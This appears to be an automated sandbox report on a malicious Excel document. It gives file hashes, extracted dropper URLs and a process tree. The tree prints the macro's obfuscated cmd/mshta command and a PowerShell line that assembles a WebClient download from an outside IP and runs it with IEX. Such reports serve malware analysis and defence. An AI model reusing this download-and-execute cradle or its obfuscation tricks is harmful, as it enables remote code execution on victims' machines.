Overview

overview

10

Static

static

8

6407591df6...b5.xls

windows7_x64

10

6407591df6...b5.xls

windows10-2004_x64

10

Analysis

  • max time kernel
    8s
  • max time network
    16s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    21/01/2022, 09:18

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls

  • Size

    71KB

  • MD5

    21fc12ef8a4a4ba5b38a303fa7e70c08

  • SHA1

    5700a2231371b289eae19ce62e1a73457ee582c4

  • SHA256

    6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5

  • SHA512

    8200f14c0a8023bb74b39796f7859258ef67a21a5f81704f82315695409795fe724ac8ca81513a95d50d169c824532e43865846ce42b0e541366309ace849654

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fe2.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.7.214.7/fer/fe2.png

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Program crash 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3236
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
      2⤵
      • Process spawned unexpected child process
      PID:2284
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/fer/fe2.html
        3⤵
          PID:3600
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
              PID:3628
            • C:\Windows\system32\WerFault.exe
              C:\Windows\system32\WerFault.exe -u -p 3600 -s 1728
              4⤵
              • Program crash
              PID:3856
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
        1⤵
          PID:2736
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -pss -s 444 -p 3600 -ip 3600
          1⤵
            PID:1480

          Network

          MITRE ATT&CK Matrix

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • memory/3236-130-0x00007FF837250000-0x00007FF837260000-memory.dmp

            Filesize

            64KB

            Download

          • memory/3236-131-0x00007FF837250000-0x00007FF837260000-memory.dmp

            Filesize

            64KB

            Download

          • memory/3236-132-0x00007FF837250000-0x00007FF837260000-memory.dmp

            Filesize

            64KB

            Download

          • memory/3236-133-0x00007FF837250000-0x00007FF837260000-memory.dmp

            Filesize

            64KB

            Download

          • memory/3236-134-0x00007FF837250000-0x00007FF837260000-memory.dmp

            Filesize

            64KB

            Download

          • memory/3236-137-0x00007FF8349F0000-0x00007FF834A00000-memory.dmp

            Filesize

            64KB

            Download

          • memory/3236-138-0x00007FF8349F0000-0x00007FF834A00000-memory.dmp

            Filesize

            64KB

            Download